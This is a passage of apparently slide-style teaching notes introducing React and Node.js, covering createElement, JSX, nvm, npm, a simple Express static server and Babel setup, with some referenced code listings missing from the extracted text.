• JSON could be used in the database, or in the application server or in the client side
and this saves a lot of data transformation code.

3. Node.js Performance

• Node.js is very fast and a resilient web server.

4. The npm Ecosystem

• npm is easiest to use and fastest package manager because npm packages are small,
due to the compact nature of JavaScript code.

5. It’s Not a Framework!

6. Isomorphic

• Means the web app is made of code that can be rendered on both server and client
side.

• React runs on JavaScript, which is the same on the client or the server.

➢ When React-based code runs on the browser, it gets data from the server and
constructs the page (DOM) in the browser. This is the SPA way of rendering the
UI.

➢ When React-based code is used to get the data from an API server and construct the
page (HTML) and stream that back to the client. This is called server-side rendering
(SSR)
Hello World

Server-Less Hello World

• Hello World application, we’ll use React to render a simple page and use Node.js and
Express to serve that page from a web server.

To render a HTML page, we are following below steps,

• React library is available as a JavaScript file that we can include in the HTML file using
the <script> tag.

• React library comes in two parts:

1. React core module, the one that is responsible for dealing with React components,
their state manipulation, etc.

2. ReactDOM module, which deals with converting React components to a DOM that
a browser can understand.

• These two libraries can be found in unpkg, a Content Delivery Network (CDN)

• Create a <div> that will eventually hold any React elements that we will create.

• This can be an empty, but it needs an ID, say, content, to identify and get a handle in
the JavaScript code.
• To create the React element, the createElement() function of the React module needs
to be called.

• The function takes up to three arguments and its prototype is as follows:

React.createElement(type, [props], [...children])

Here,

• type can be any HTML tag

• props is an object containing HTML attributes or custom component properties.

• The last parameter(s) is zero or more children elements, which again are created
using the createElement() function itself.

• A React element (the result of a React.createElement() call) is a JavaScript object that


represents what is shown on screen

• It is also called the virtual DOM.

• It resides in the JavaScript engine’s memory as a deeply nested set of React elements,
which are also JavaScript objects

• Each of these React elements needs to be transferred to the real DOM for the user
interface to be constructed on screen.

• To do this, a series of document.createElement() calls needs to be made corresponding


to each of the React elements.

• The ReactDOM does this when the ReactDOM.render() function is called.

• This function takes in as arguments the element that needs to be rendered and the DOM
element that it needs to be placed under.
• Let's put all this together in index.html. The contents of this file is shown below

JSX

• React has a markup language called JSX, which stands for JavaScript XML.

• JSX looks very much like HTML

• JSX can be used to construct an element or an element hierarchy and make it look very
much like HTML instead of the React.createElement() calls.

• Example:

• index.html: Changes for Using JSX


Project Setup

nvm

• Stands for Node Version Manager.

• This tool makes installation and switching between multiple versions of Node.js easy

• To install nvm,

❖ Mac OS or any Linux-based distribution users need tp follow the instructions on


nvm's GitHub page.

❖ Windows users can follow nvm for Windows (search for it in search engine) or
install Node.js directly without nvm.

Node.js

• Installing Node.js using nvm for minor version 10

$ nvm install 10
• We can confirm the version of node that's been installed

$ node –version

$ npm –version

• We can install the npm version that we wish to use

$ npm install –g npm@6

Npm

• The command to be used is npm install

• Installing Express is as simple as:

$ npm install express

• uninstalling and installing it again with a specific version.

$ npm uninstall express

$ npm install express@4

Express

• Express used to serve only static files.

• npm command for installing.

$ npm install express@4

• require is a JavaScript keyword specific to Node.js, and this is used to import other
modules.

const express = require('express’);

• An Express application is web server that listens on a specific IP address and port.

• Below code instantiate the one and only application by calling the express() function:

const app = express();

• Express is a framework gets most of the job done by functions called middleware. A
middleware is a function that takes in an HTTP request and response object, plus the
next middleware function in the chain.
• The built-in express.static function generates a middleware function

const fileServerMiddleware = express.static('public’);

• The argument to the static() function is the directory where the middleware should
look for the files

• for the application to use the static middleware, we need to mount it on the
application.

app.use('/', fileServerMiddleware);

• first argument to this method is the base URL of any HTTP request to match.

• second argument is the middleware function itself

• The listen() method of the application starts the server and waits forever for requests.
It takes in a port number as the first argument

app.listen(3000, function () {
console.log('App started on port 3000’);
});
• Below is the final server code, with the use() call merged with the creation of the
middleware in a single line, and skipping the optional first argument, the mount point

• To start the server, run it using the Node.js runtime like below

$ node server.js

• To start the server, we had to supply the name of the entry point

$ npm start

Separate Script File

• We need to separate out the JSX and JavaScript from the all-in-one index.html and refer
to it as an external script.
• Let’s replace the inline script with a reference to an external source like this

<script type="text/babel" src="/App.jsx"></script>

• Index.html

• App.jsx: JSX Part Separated Out from the HTML

JSX Transform

• Create a new directory to keep all the JSX files, which will be transformed into plain
JavaScript and into the public folder.

• install some Babel tools

$ npm install --save-dev @babel/core@7 @babel/cli@7

You might also like